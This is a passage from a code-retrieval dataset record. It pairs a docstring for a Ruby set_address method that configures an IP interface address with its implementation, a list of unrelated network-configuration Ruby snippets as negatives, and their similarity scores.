PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.delete_tier1_service_interface\"\n end\n # verify the required parameter 'interface_id' is set\n if @api_client.config.client_side_validation && interface_id.nil?\n fail ArgumentError, \"Missing the required parameter 'interface_id' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.delete_tier1_service_interface\"\n end\n # resource path\n local_var_path = '/infra/tier-1s/{tier-1-id}/locale-services/{locale-service-id}/service-interfaces/{interface-id}'.sub('{' + 'tier-1-id' + '}', tier_1_id.to_s).sub('{' + 'locale-service-id' + '}', locale_service_id.to_s).sub('{' + 'interface-id' + '}', interface_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi#delete_tier1_service_interface\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def delete_port(port)\n return delete_request(address(\"ports/\" + port), @token)\n end", "def delete_slot_ip(opts)\n opts = check_params(opts,[:cluster_name,:slot_ids,:slot_ips])\n super(opts)\n end", "def destroy\n @ip_table = IpTable.find(params[:id])\n @ip_table.destroy\n\n respond_to do |format|\n format.html { redirect_to ip_tables_url }\n format.json { head :ok }\n end\n end", "def remove_netif(netifs, netif)\n do_remove_netif(netif.name)\n setup_for_nm(netifs)\n end", "def interface_change_allowed?(interface)\n method = node['fb_helpers']['interface_change_allowed_method']\n if method\n return method.call(node, interface)\n else\n return self.nw_changes_allowed? ||\n ['ip6tnl0', 'tunlany0', 'tunl0'].include?(interface) ||\n interface.match(Regexp.new('^tunlany\\d+:\\d+'))\n end\n end", "def SetMeshInterface()\n \n @nodes.each do |node|\n Node(node.id).exec(\"/sbin/ifconfig #{@meshifn} #{GetIpFromId(node.id)}\")\n Node(node.id).exec(\"/sbin/ifconfig #{@meshifn} mtu 1500\")\n end\n end", "def disassociate_address( options = {} )\n options = { :public_ip => '' }.merge(options)\n raise ArgumentError, \"No ':public_ip' provided\" if options[:public_ip].nil? || options[:public_ip].empty?\n params = { \"PublicIp\" => options[:public_ip] }\n return response_generator(:action => \"DisassociateAddress\", :params => params)\n end", "def destroy\n @ip_table_override = IpTableOverride.find(params[:id])\n @ip_table_override.destroy\n\n respond_to do |format|\n format.html { redirect_to ip_table_overrides_url }\n format.json { head :ok }\n end\n end", "def destroy\n @redcorporativa_interface.destroy\n respond_to do |format|\n format.html { redirect_to redcorporativa_interfaces_url, notice: 'Redcorporativa interface was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.7133724", "0.6697253", "0.64472944", "0.64312035", "0.6278268", "0.6208888", "0.6126928", "0.6084022", "0.6072836", "0.6018805", "0.5897524", "0.5829822", "0.57676774", "0.5742166", "0.57229847", "0.55808735", "0.55762494", "0.54926264", "0.54926264", "0.54926264", "0.54736763", "0.5458579", "0.53274214", "0.53192127", "0.5295328", "0.52511543", "0.52155954", "0.5204253", "0.51669115", "0.5161413", "0.51295084", "0.51192063", "0.51036286", "0.5079379", "0.5076355", "0.507413", "0.5071337", "0.5064628", "0.5021758", "0.50200087", "0.5004868", "0.49967045", "0.49828947", "0.4981638", "0.4969906", "0.4965232", "0.49423125", "0.4934075", "0.49287876", "0.4916506", "0.49132696", "0.4897132", "0.48955154", "0.48859817", "0.48774624", "0.48586947", "0.4854583", "0.48545116", "0.48535645", "0.48312083", "0.48218265", "0.4815155", "0.48102772", "0.48095024", "0.48058692", "0.47958997", "0.47938707", "0.47776252", "0.47468048", "0.4745294", "0.47409803", "0.47188717", "0.47185293", "0.470846", "0.47021896", "0.46842188", "0.46707845", "0.46656975", "0.46633682", "0.46633682", "0.4661553", "0.46543336", "0.46520033", "0.46482468", "0.46332395", "0.46320727", "0.46266606", "0.46249422", "0.46155658", "0.4615073", "0.46100983", "0.4604948", "0.46019977", "0.4598036", "0.4595957", "0.45813859", "0.45770022", "0.4564867", "0.456134", "0.45516634" ]
0.69558585
1
set_address configures a logical IP interface with an address. The address value must be in the form of A.B.C.D/E. If the enable keyword is false, then the interface address is negated using the config no keyword. If the default option is set to true, then the ip address value is defaulted using the default keyword. The default keyword has precedence over the enable keyword if both options are specified.
def set_address(name, opts = {}) cmds = command_builder('ip address', opts) configure_interface(name, cmds) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_helper_addresses(name, opts = {})\n value = opts[:value]\n enable = opts.fetch(:enable, true)\n default = opts[:default] || false\n\n if value\n unless value.is_a?(Array)\n raise ArgumentError, 'value must be an Array'\n end\n end\n\n case default\n when true\n cmds = 'default ip helper-address'\n when false\n cmds = ['no ip helper-address']\n value.each { |addr| cmds << \"ip helper-address #{addr}\" } if enable\n end\n configure_interface(name, cmds)\n end", "def address=(address)\n set_default :address, address\n end", "def set_IPAddress(value)\n set_input(\"IPAddress\", value)\n end", "def set_IPAddress(value)\n set_input(\"IPAddress\", value)\n end", "def set_address\n end", "def options=(options = {}); @address_impl.setOptions(convert_options(options)); end", "def ship_address=(address)\n be_default = Spree::Config.automatic_default_address\n save_in_address_book(address.attributes, be_default) if address\n end", "def address=(address)\n @address = ensure_type(Address, address)\n end", "def address=(value)\n\t\t\t@address = value\n\t\tend", "def address=(value)\n\t\t\t@address = value\n\t\tend", "def set_address\n @address = Addresslanlng.new\n end", "def address=(value)\n @address = value\n end", "def address=(value)\n @address = value\n end", "def set_IP(value)\n set_input(\"IP\", value)\n end", "def use_default_address\n return unless self.address\n self.address = client.addresses.first\n end", "def ip_address=(val)\n if val.nil?\n self.errors.add(:ip_address, :invalid)\n return\n end\n\n if val.is_a?(IPAddr)\n write_attribute(:ip_address, val)\n return\n end\n\n v = IPAddr.handle_wildcards(val)\n\n if v.nil?\n self.errors.add(:ip_address, :invalid)\n return\n end\n\n write_attribute(:ip_address, v)\n\n # this gets even messier, Ruby 1.9.2 raised a different exception to Ruby 2.0.0\n # handle both exceptions\n rescue ArgumentError, IPAddr::InvalidAddressError\n self.errors.add(:ip_address, :invalid)\n end", "def define_addrinfo_by_netmask_or_default\n # default ('host' mask)\n @options[:netmask] = 32 unless @options.key?(:netmask)\n define_addrinfo_with_netmask\n end", "def set_address_type\n\n end", "def set_Address1(value)\n set_input(\"Address1\", value)\n end", "def address1_set(address)\n self.address1.set address\n end", "def configure_private_network_ip(config, ip, vm_name)\n if ip\n config.vm.network :private_network, :ip => ip, :netmask => \"255.255.255.0\"\n else\n puts \" NO HOSTONLY IP defined for VM #{vm_name}.\"\n end\n end", "def address=(addr)\n @address = check_address addr\n build_pack\n end", "def default(name)\n configure [\"interface #{name}\", 'default switchport']\n end", "def set_ip(device_mac, ip_address, subnet_mask = '255.255.255.0', standard_gateway = '0.0.0.0', change_duration = :permanent)\n result_of device_mac, Frames::SetRequest.new.ip(ip_address, subnet_mask, standard_gateway, change_duration)\n end", "def default_from_address=(default_from_address)\n if default_from_address.nil?\n fail ArgumentError, \"default_from_address cannot be nil\"\n end\n\n if default_from_address.to_s.length > 50\n fail ArgumentError, \"invalid value for 'default_from_address', the character length must be smaller than or equal to 50.\"\n end\n\n @default_from_address = default_from_address\n end", "def ip_address_or_f_q_d_n=(value)\n @ip_address_or_f_q_d_n = value\n end", "def passive_interface=(enable)\n fail TypeError unless enable == true || enable == false\n config_set('interface_ospf', 'passive_interface', @interface.name,\n enable ? '' : 'no')\n end", "def default(value)\n configure(\"default interface #{value}\")\n end", "def populate_billing_address!(options)\n options['contract.default'].billing_address ||= Address.new\n end", "def set_addresses=(v)\n self.addresses = build_addresses(v)\n end", "def set_as_default(user)\n current_default = user.addresses.find_by(default: true)\n current_default.update_attribute :default, false\n update_attribute :default, true\n end", "def manage_address\n enable_dhcp if new_resource.bootproto == 'dhcp' && current_resource.bootproto != 'dhcp'\n return unless new_resource.bootproto == 'static'\n\n config_static unless new_resource.address.nil? || (current_resource.bootproto == 'static' && ip_subnet_exist?)\n config_gateway unless new_resource.gateway.nil? || (current_resource.bootproto == 'static' && current_resource.gateway == new_resource.gateway)\n end", "def ip_address=(ip_address)\n if !ip_address.nil? && ip_address.to_s.length > 39\n fail ArgumentError, 'invalid value for \"ip_address\", the character length must be smaller than or equal to 39.'\n end\n\n if !ip_address.nil? && ip_address.to_s.length < 0\n fail ArgumentError, 'invalid value for \"ip_address\", the character length must be great than or equal to 0.'\n end\n\n @ip_address = ip_address\n end", "def set_remote_address(opts)\n opts = check_params(opts,[:addresses])\n super(opts)\n end", "def configure path, value, status = 'Unknown'\n if path[0] == \"net\" && path[1] == 'e0'\n @e0 = true\n end\n end", "def set_local_address(opts)\n opts = check_params(opts,[:addresses])\n super(opts)\n end", "def toggle_default_address\n self.address.default_address = !self.default_address\n self.outlets[\"default_address_button\"].setBackgroundColor(UIColor.colorWithPatternImage(UIImage.imageNamed(\"images/checkbox#{accepts_terms ? \"-checked\" : \"\"}.png\")), forState: UIControlStateNormal) \n end", "def set_ip_address\n @ip_address = IpAddress.find(params[:id])\n end", "def add(opt)\n ipaddr_modify(RTM_NEWADDR, NLM_F_CREATE|NLM_F_EXCL, opt)\n end", "def default_address_checkbox\n $tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.input.className(create_ats_regex_string(\"ats-defaultaddrbox\")), format_method(__method__))\n end", "def set_for_manual_address\n @show_manual_address = true\n @address_read_only = false\n # clear the identifier as this address is no longer from the search\n @address_detail.address_identifier = nil\n end", "def set_prober_address(opts)\n opts = check_params(opts,[:addresses])\n super(opts)\n end", "def ip=(value)\n if value == @defaults['ai.device.ip']\n @values.delete 'ai.device.ip' if @values.key? 'ai.device.ip'\n else\n @values['ai.device.ip'] = value\n end\n end", "def check_ip_any_alias\n case @options[:ipaddr]\n when nil, '', 'any', /^\\s*$/\n @options[:ipaddr] = '0.0.0.0'\n @options[:netmask] = 0\n end\n end", "def set_StreetAddress(value)\n set_input(\"StreetAddress\", value)\n end", "def set_StreetAddress(value)\n set_input(\"StreetAddress\", value)\n end", "def make_default!\n current_default = self.addressable.addresses.where(default_address: true).first\n\n if current_default != self\n current_default.update_column :default_address, false if current_default.present?\n self.update_column :default_address, true\n end\n end", "def set_name_servers(opts = {})\n value = opts[:value]\n enable = opts.fetch(:enable, true)\n default = opts[:default] || false\n\n case default\n when true\n cmds = 'default ip name-server'\n when false\n cmds = ['no ip name-server']\n if enable\n value.each do |srv|\n cmds << \"ip name-server #{srv}\"\n end\n end\n end\n configure cmds\n end", "def []=(key, val)\n self.address_hash[key] = val unless key.nil?\n end", "def define_addrinfo_with_netmask\n @netmask = @options[:netmask]\n @ipaddr = NetAddr::CIDR.create(\n format('%<ip>s/%<mask>s', ip: @options[:ipaddr], mask: @netmask)\n )\n @wildcard = @ipaddr.wildcard_mask(true)\n end", "def default(name,value)\n @network.spec_factory.defaults[name]=value\n end", "def set_remote_address(val = T.unsafe(nil)); end", "def address2_set(address)\n self.address2.set address\n end", "def update_defaults_if_needed\n return unless addressable.respond_to?(:addresses)\n\n make_default! if addressable.addresses.size == 1\n addressable.addresses.where.not(id: id).update_all(default_address: false) if self.default_address?\n end", "def address3_set(address)\n self.address3.set address\n end", "def address=(address)\n set_if_changed(:address, address.to_s) do\n invalidate_cache!\n end\n end", "def mask_with_a_care!(mask)\n original_addr = @addr\n mask_without_a_care!(mask)\n @addr = original_addr unless self.class.mask_by_default\n return self\n end", "def replace_administrative_ip(opts)\n opts = check_params(opts,[:old_ips,:new_ips,:netmasks])\n super(opts)\n end", "def address(options=nil)\n delimiter = '-'\n\n octets = []\n octets.concat(unpack_oui)\n octets.concat(unpack_ei)\n\n if (options)\n if (!options.kind_of? Hash)\n raise ArgumentError, \"Expected Hash, but #{options.class} provided.\"\n end\n\n if (options.has_key?(:Delimiter))\n delimiter = options[:Delimiter]\n delimiter = '-' if (delimiter != '-' && delimiter != ':' && delimiter != '.' )\n end\n end\n\n if (delimiter == '-' || delimiter == ':')\n address = octets.join(delimiter)\n elsif (delimiter == '.')\n toggle = 0\n octets.each do |x|\n if (!address)\n address = x\n toggle = 1\n elsif (toggle == 0)\n address = address << '.' << x\n toggle = 1\n else\n address = address << x\n toggle = 0\n end\n end \n\n end\n\n return(address)\n end", "def address(options = {})\n options = {\n relative: false\n }.merge(options)\n address = @address\n domain_option = options[:domains] || options[:domain]\n @domain_option ||= domain_option unless frozen?\n # Blow the cache when the domain option changes\n @base_address_applied = nil unless @domain_option == domain_option\n unless @base_address_applied\n # Give highest priority to the original API which allowed the object\n # doing register read/write to define a base_address method\n if (writer && writer.methods.include?(:base_address) && writer.method(:base_address).arity != 0) ||\n (reader && reader.methods.include?(:base_address) && reader.method(:base_address).arity != 0)\n # This currently assumes that the base address is always the same\n # for reading and writing\n if writer && writer.respond_to?(:base_address) && writer.method(:base_address).arity != 0\n self.base_address = writer.base_address(self)\n elsif reader && reader.respond_to?(:base_address) && reader.method(:base_address).arity != 0\n self.base_address = reader.base_address(self)\n end\n else\n o = owner.is_a?(Container) ? owner.owner : owner\n d = domain_option || domains\n if o && o.reg_base_address(domain: d)\n self.base_address = o.reg_base_address(domain: d)\n end\n end\n @base_address_applied = true\n end\n unless options[:relative]\n address += base_address if base_address\n end\n if options[:address_type]\n Origen.deprecate 'Specifying the address_type of a register address will be removed from Origen 3'\n case options[:address_type]\n when :byte\n address = address * 2\n when :word\n address = address\n when :longword\n address = address / 2\n else\n fail 'Unknown address type requested!'\n end\n end\n address\n end", "def associate_address( options = {} )\n options = { :instance_id => '', :public_ip => '' }.merge(options)\n raise ArgumentError, \"No ':instance_id' provided\" if options[:instance_id].nil? || options[:instance_id].empty?\n raise ArgumentError, \"No ':public_ip' provided\" if options[:public_ip].nil? || options[:public_ip].empty?\n params = {\n \"InstanceId\" => options[:instance_id],\n \"PublicIp\" => options[:public_ip]\n }\n return response_generator(:action => \"AssociateAddress\", :params => params)\n end", "def address\n @address ||= \"#{@options[:host]}:#{@options[:port]}\"\n end", "def set_Addresses(value)\n set_input(\"Addresses\", value)\n end", "def set_Addresses(value)\n set_input(\"Addresses\", value)\n end", "def set_Addresses(value)\n set_input(\"Addresses\", value)\n end", "def email_set(address)\n self.email.set address\n end", "def set_ip_adress\n @ip_adress = IpAddress.find(params[:id])\n end", "def create_address!(options = {})\n method_not_implemented\n end", "def billing_address=(address)\n @billing_address = ensure_type(Address, address)\n end", "def address=(value)\n self[:address] = if (_value = value.to_s).encode('utf-8').valid_encoding? then _value.encode('utf-8')\n else _value.force_encoding(\"ISO-8859-1\").encode('utf-8')\n end\n end", "def create(name)\n configure [\"interface #{name}\", 'no ip address', 'switchport']\n end", "def setup_address_hash(options)\n default_address = {\n address1: 'Unspecified',\n city: 'Unspecified',\n state: 'NC',\n zip: '00000',\n country: 'US'\n }\n\n submitted_address = options[:billing_address] || options[:address] || default_address\n options[:billing_address] = default_address.merge(submitted_address.symbolize_keys) { |_k, default, submitted| check_billing_field_value(default, submitted) }\n options[:shipping_address] = options[:shipping_address] || {}\n end", "def lower_address=(value)\n @lower_address = value\n end", "def enable_nat(ip_addr)\n raise 'not implemented'\n end", "def configure!(args)\n self.class.options.each do |name, opts|\n argv = args.detect{|k,v| (Array(opts[:aliases]) + Array(opts[:short]) + [name]).include?(k.to_sym)}\n argv = argv.last if argv\n argv ||= opts[:default]\n if(argv)\n check_type!(name, argv, opts[:type])\n self.send(\"#{name}=\", argv)\n else\n if(opts[:required])\n raise ArgumentError.new \"Missing required argument: #{name}\"\n end\n end\n end\n if(ipaddress && gateway.nil?)\n self.gateway = ipaddress.sub(%r{\\d+$}, '1')\n end\n end", "def set_Address2(value)\n set_input(\"Address2\", value)\n end", "def set_address type, key, params={}\n opts = {:single_quoted => false}\n params = {\n :query => {\n \"ClientToken\" => self.token,\n \"AddressType\" => Type::String.safe_value(type, opts),\n \"VoterKey\" => Type::String.safe_value(key, opts),\n \"AddressLine1\" => Type::String.safe_value(params[:address_1], opts),\n \"AddressLine2\" => Type::String.safe_value(params[:address_2], opts),\n \"AddressCity\" => Type::String.safe_value(params[:city], opts),\n \"AddressState\" => Type::String.safe_value(params[:state], opts),\n \"AddressZip5\" => Type::String.safe_value(params[:zip5], opts),\n \"AddressZip4\" => Type::String.safe_value(params[:zip4], opts)\n }\n }\n\n put 'set_address.php', params\n end", "def set_private_network(vm_name, vm_config, ip: '', gateway: '') \n \n require_string(vm_name)\n require_vagrant_config(vm_config)\n\n log_info(\" - ip: #{ip}, gateway: #{gateway}\")\n\n vm_config.vm.network :private_network, ip: ip, gateway: gateway\n end", "def use_another_address_for_shipping=(val)\n value = val.is_a?(String) ? (val.to_i > 0) : val\n @use_another_address_for_shipping = value\n end", "def set_address(address)\n @fields.merge!(address.to_hash)\n end", "def set_netmask(opts)\n opts = check_params(opts,[:admin_ips,:netmasks])\n super(opts)\n end", "def set_port_configuration(port, selection_mask, direction, value)\n send_request(FUNCTION_SET_PORT_CONFIGURATION, [port, selection_mask, direction, value], 'k C k ?', 0, '')\n end", "def use_for_local_addresses=(value)\n @use_for_local_addresses = value\n end", "def ipsettings=(value)\n Puppet.debug \"Updating ip configuration of specified port group\"\n begin\n @networksystem=host.configManager.networkSystem\n vnics=@networksystem.networkInfo.vnic\n vnicdevice = nil\n\n vnics.each do |vnic|\n if (vnic.portgroup && resource[:portgrp] == vnic.portgroup)\n vnicdevice=vnic.device\n if (resource[:ipsettings] == :static)\n if (resource[:ipaddress] == nil || resource[:subnetmask] == nil)\n raise Puppet::Error, \"ipaddress and subnetmask are required in case of static IP configuration.\"\n elsif( resource[:ipaddress].length == 0 || resource[:subnetmask].length == 0)\n raise Puppet::Error, \"ipaddress and subnetmask are required in case of static IP configuration.\"\n end\n ipconfiguration=RbVmomi::VIM.HostIpConfig(:dhcp => 0, :ipAddress => resource[:ipaddress], :subnetMask => resource[:subnetmask])\n elsif (resource[:ipsettings] == :dhcp)\n ipconfiguration = RbVmomi::VIM.HostIpConfig(:dhcp => 1)\n end\n hostvirtualnicspec = RbVmomi::VIM.HostVirtualNicSpec(:ip => ipconfiguration)\n if (vnicdevice != nil)\n actualnicspec = vnic.spec\n if (actualnicspec!= nil )\n actualnicspec.ip = ipconfiguration\n else\n actualnicspec = hostvirtualnicspec\n end\n @networksystem.UpdateVirtualNic(:device => vnicdevice, :nic => actualnicspec)\n end\n end\n end\n return \"true\"\n rescue Exception => e\n # Not failing here as this happens when we configure the management network\n Puppet.err \"Unable to configure the IP settings on a port group because the following exception occurred: -\\n #{e.message}\"\n end\n end", "def set_public_network(vm_name, vm_config, ip) \n \n require_string(vm_name)\n require_vagrant_config(vm_config)\n\n if ip.to_s.empty?\n log_info(\" - skipping public network ip setup\") \n return\n else \n log_info(\" - public network: ip: #{ip}\") \n end\n\n vm_config.vm.network :public_network, ip: ip\n end", "def set_string(str)\n return self if Dnet.addr_pton(str, self) == 0\n end", "def set_device_address\n address_input = nil\n\n while address_input.nil?\n puts 'Enter device address (e.g.: https://google.com):'\n begin\n Excon.get($stdin.gets.chomp!, connect_timeout: 15)\n rescue StandardError\n puts 'Unable to connect to device, please check the address.'\n else\n address_input = $_\n end\n end\n\n address_input\n end", "def set_address\n @address = Address.find(params[:id])\n end", "def set_address\n @address = Address.find(params[:id])\n end", "def set_address\n @address = Address.find(params[:id])\n end", "def set_address\n @address = Address.find(params[:id])\n end", "def set_address\n @address = Address.find(params[:id])\n end", "def set_address\n @address = Address.find(params[:id])\n end", "def set_address\n @address = Address.find(params[:id])\n end", "def set_address\n @address = Address.find(params[:id])\n end", "def set_address\n @address = Address.find(params[:id])\n end", "def set_address\n @address = Address.find(params[:id])\n end", "def set_address\n @address = Address.find(params[:id])\n end", "def set_address\n @address = Address.find(params[:id])\n end", "def exact_address(reg_or_val, options = {})\n address = options[:addr] || options[:address]\n unless address\n # if no address provided as option then use register address\n if real_reg?(reg_or_val) # if real register\n address = reg_or_val.address # use register address\n else\n fail \"An :address option must be supplied when not providing a register to Nexus!\\n\"\n end\n end\n address\n end" ]
[ "0.69042", "0.6823939", "0.63709116", "0.63626134", "0.6198588", "0.60740536", "0.60408145", "0.59648275", "0.5950422", "0.5950422", "0.58366823", "0.57962525", "0.57962525", "0.5791568", "0.5749636", "0.5748997", "0.56528175", "0.5617115", "0.5545572", "0.5542317", "0.55146354", "0.5496638", "0.54942155", "0.54839015", "0.54505014", "0.544725", "0.54229796", "0.5422153", "0.54034317", "0.5359124", "0.5350966", "0.53502536", "0.5344627", "0.5330819", "0.5304062", "0.52960503", "0.5283135", "0.5283125", "0.52732855", "0.5242921", "0.521479", "0.5206759", "0.5199591", "0.51989895", "0.51960534", "0.51960534", "0.51735365", "0.5169635", "0.5163747", "0.51616013", "0.51469815", "0.513167", "0.5129146", "0.5120081", "0.51146376", "0.50968826", "0.5078301", "0.50687283", "0.5067494", "0.50531733", "0.50285375", "0.5023258", "0.50186646", "0.50186646", "0.50186646", "0.5016875", "0.50099486", "0.4995761", "0.49837956", "0.4977805", "0.4972596", "0.49681866", "0.4964967", "0.49590293", "0.49579695", "0.49562082", "0.49386004", "0.49363694", "0.4923509", "0.4919766", "0.49036187", "0.4886682", "0.48842567", "0.48648316", "0.4854213", "0.48410788", "0.48348773", "0.48326725", "0.48326725", "0.48326725", "0.48326725", "0.48326725", "0.48326725", "0.48326725", "0.48326725", "0.48326725", "0.48326725", "0.48326725", "0.48326725", "0.4831706" ]
0.7047523
0
set_mtu configures the IP mtu value of the ip interface in the nodes configuration. If the enable option is false, then the ip mtu value is configured using the no keyword. If the default keyword option is provided and set to true then the ip mtu value is configured using the default keyword. The default keyword has precedence over the enable keyword if both options are specified.
def set_mtu(name, opts = {}) cmds = command_builder('mtu', opts) configure_interface(name, cmds) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def SetMtu(node)\n\t@interfaces.each do |ifn|\n\t self.GetGroupInterface(node, ifn).mtu=\"1528\"\n\tend\n end", "def set_mtu(opts)\n opts = check_params(opts,[:mtus])\n super(opts)\n end", "def set_mtu(opts)\n opts = check_params(opts,[:mtus])\n super(opts)\n end", "def mtu\n super\n end", "def mtu\n super\n end", "def mtu\n super\n end", "def set_6Gb(vm_name, vm_config)\n require_string(vm_name)\n require_vagrant_config(vm_config)\n\n set_cpu_and_ram(vm_name, vm_config, 4, 1024 * 6)\n end", "def SetMtu(node)\n @rstack.SetMtu(node)\n end", "def set_maxsize(options)\n if options.has_key?(:maxsize) || options.has_key?('maxsize')\n maxsize = options[:maxsize] || options['maxsize']\n\n multiplier = 1\n if (maxsize =~ /\\d+KB/)\n multiplier = 1024\n elsif (maxsize =~ /\\d+MB/)\n multiplier = 1024 * 1024\n elsif (maxsize =~ /\\d+GB/)\n multiplier = 1024 * 1024 * 1024\n end\n\n _maxsize = maxsize.to_i * multiplier\n\n if _maxsize.class != Fixnum and _maxsize.class != Bignum\n raise TypeError, \"Argument 'maxsize' must be an Fixnum\", caller\n end\n if _maxsize == 0\n raise TypeError, \"Argument 'maxsize' must be > 0\", caller\n end\n @maxsize = _maxsize\n else\n @maxsize = 0\n end\n end", "def set_private_network(vm_name, vm_config, ip: '', gateway: '') \n \n require_string(vm_name)\n require_vagrant_config(vm_config)\n\n log_info(\" - ip: #{ip}, gateway: #{gateway}\")\n\n vm_config.vm.network :private_network, ip: ip, gateway: gateway\n end", "def parse_mtu(config)\n mdata = /(?<=mtu\\s)(\\d+)$/.match(config)\n { mtu: mdata.nil? ? '' : mdata[1] }\n end", "def set_default_options(options = T.unsafe(nil)); end", "def set_vm_network_config(vmid, network_name, config={})\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.NetworkConnectionSection(\n \"xmlns\" => \"http://www.vmware.com/vcloud/v1.5\",\n \"xmlns:ovf\" => \"http://schemas.dmtf.org/ovf/envelope/1\") {\n xml['ovf'].Info \"VM Network configuration\"\n xml.PrimaryNetworkConnectionIndex(config[:primary_index] || 0)\n xml.NetworkConnection(\"network\" => network_name, \"needsCustomization\" => true) {\n xml.NetworkConnectionIndex(config[:network_index] || 0)\n xml.IpAddress config[:ip] if config[:ip]\n xml.IsConnected(config[:is_connected] || true)\n xml.IpAddressAllocationMode config[:ip_allocation_mode] if config[:ip_allocation_mode]\n }\n }\n end\n\n params = {\n 'method' => :put,\n 'command' => \"/vApp/vm-#{vmid}/networkConnectionSection\"\n }\n\n response, headers = send_request(params, builder.to_xml, \"application/vnd.vmware.vcloud.networkConnectionSection+xml\")\n\n task_id = headers[:location].gsub(\"#{@api_url}/task/\", \"\")\n task_id\n end", "def default=( val )\r\n @opts[:default] = val\r\n end", "def SetMeshInterface()\n \n @nodes.each do |node|\n Node(node.id).exec(\"/sbin/ifconfig #{@meshifn} #{GetIpFromId(node.id)}\")\n Node(node.id).exec(\"/sbin/ifconfig #{@meshifn} mtu 1500\")\n end\n end", "def set_ip_timeout(opts)\n opts = check_params(opts,[:timeouts])\n super(opts)\n end", "def set_defaults(options = T.unsafe(nil)); end", "def set_05Gb(vm_name, vm_config)\n require_string(vm_name)\n require_vagrant_config(vm_config)\n\n set_cpu_and_ram(vm_name, vm_config, 2, 512)\n end", "def default_options=(opts); end", "def telnet_mode=(bool)\n @telnet_options[:telnet_mode] = bool\n end", "def max_timeout=(timeout)\n self.device.max_timeout = timeout\n end", "def memory_size_limit=(memory_size_limit)\n pattern = Regexp.new(/^(\\d|[1-9]\\d|[1-9]\\d{2}|[1-9]\\d{3}|[1-5]\\d{4}|6[0-4]\\d{3}|65[0-4]\\d{2}|655[0-2]\\d|6553[0-5])$|^(platform-default)$/)\n if !memory_size_limit.nil? && memory_size_limit !~ pattern\n fail ArgumentError, \"invalid value for \\\"memory_size_limit\\\", must conform to the pattern #{pattern}.\"\n end\n\n @memory_size_limit = memory_size_limit\n end", "def set_defaults\n default_user_agent = Config.user_agent || Typhoeus::USER_AGENT\n\n options[:headers] = {'User-Agent' => default_user_agent}.merge(options[:headers] || {})\n options[:headers]['Expect'] ||= ''\n options[:verbose] = Typhoeus::Config.verbose if options[:verbose].nil? && !Typhoeus::Config.verbose.nil?\n options[:maxredirs] ||= 50\n options[:proxy] = Typhoeus::Config.proxy unless options.has_key?(:proxy) || Typhoeus::Config.proxy.nil?\n end", "def customize_vm(name,options)\n vm_config = \"\"\n options.each_pair do |key,value|\n case key\n when 'ip'\n vm_config << \" v.vm.network :private_network, :ip => '#{value}'\\n\"\n else\n next\n end\n end\n vm_config\n end", "def customize_vm(name,options)\n vm_config = \"\"\n options.each_pair do |key,value|\n case key\n when 'ip'\n vm_config << \" v.vm.network :private_network, :ip => '#{value}'\\n\"\n else\n next\n end\n end\n vm_config\n end", "def ip=(value)\n if value == @defaults['ai.device.ip']\n @values.delete 'ai.device.ip' if @values.key? 'ai.device.ip'\n else\n @values['ai.device.ip'] = value\n end\n end", "def configure_private_network_ip(config, ip, vm_name)\n if ip\n config.vm.network :private_network, :ip => ip, :netmask => \"255.255.255.0\"\n else\n puts \" NO HOSTONLY IP defined for VM #{vm_name}.\"\n end\n end", "def set_ip(device_mac, ip_address, subnet_mask = '255.255.255.0', standard_gateway = '0.0.0.0', change_duration = :permanent)\n result_of device_mac, Frames::SetRequest.new.ip(ip_address, subnet_mask, standard_gateway, change_duration)\n end", "def set_16Gb(vm_name, vm_config)\n require_string(vm_name)\n require_vagrant_config(vm_config)\n \n set_cpu_and_ram(vm_name, vm_config, 4, 1024 * 16)\n end", "def configure_ports(interface, min_port)\n interface ||= \"127.0.0.1\"\n min_port ||= 8080\n unless env[:riak_core][:http]\n env[:riak_core][:http] = [Tuple[interface, min_port]]\n min_port += 1\n end\n env[:riak_core][:http] = env[:riak_core][:http].map {|pair| Tuple[*pair] }\n env[pb_config_section][:pb_ip] = interface unless env[pb_config_section][:pb_ip]\n unless env[pb_config_section][:pb_port]\n env[pb_config_section][:pb_port] = min_port\n min_port += 1\n end\n unless env[:riak_core][:handoff_port]\n env[:riak_core][:handoff_port] = min_port\n min_port += 1\n end\n end", "def limit=(x); @opts['limit'] = x; end", "def ipv6=(new_value)\n Zsock.set_ipv6(@zocket, new_value ? 1 : 0)\n end", "def set_netmask(opts)\n opts = check_params(opts,[:admin_ips,:netmasks])\n super(opts)\n end", "def ipsettings=(value)\n Puppet.debug \"Updating ip configuration of specified port group\"\n begin\n @networksystem=host.configManager.networkSystem\n vnics=@networksystem.networkInfo.vnic\n vnicdevice = nil\n\n vnics.each do |vnic|\n if (vnic.portgroup && resource[:portgrp] == vnic.portgroup)\n vnicdevice=vnic.device\n if (resource[:ipsettings] == :static)\n if (resource[:ipaddress] == nil || resource[:subnetmask] == nil)\n raise Puppet::Error, \"ipaddress and subnetmask are required in case of static IP configuration.\"\n elsif( resource[:ipaddress].length == 0 || resource[:subnetmask].length == 0)\n raise Puppet::Error, \"ipaddress and subnetmask are required in case of static IP configuration.\"\n end\n ipconfiguration=RbVmomi::VIM.HostIpConfig(:dhcp => 0, :ipAddress => resource[:ipaddress], :subnetMask => resource[:subnetmask])\n elsif (resource[:ipsettings] == :dhcp)\n ipconfiguration = RbVmomi::VIM.HostIpConfig(:dhcp => 1)\n end\n hostvirtualnicspec = RbVmomi::VIM.HostVirtualNicSpec(:ip => ipconfiguration)\n if (vnicdevice != nil)\n 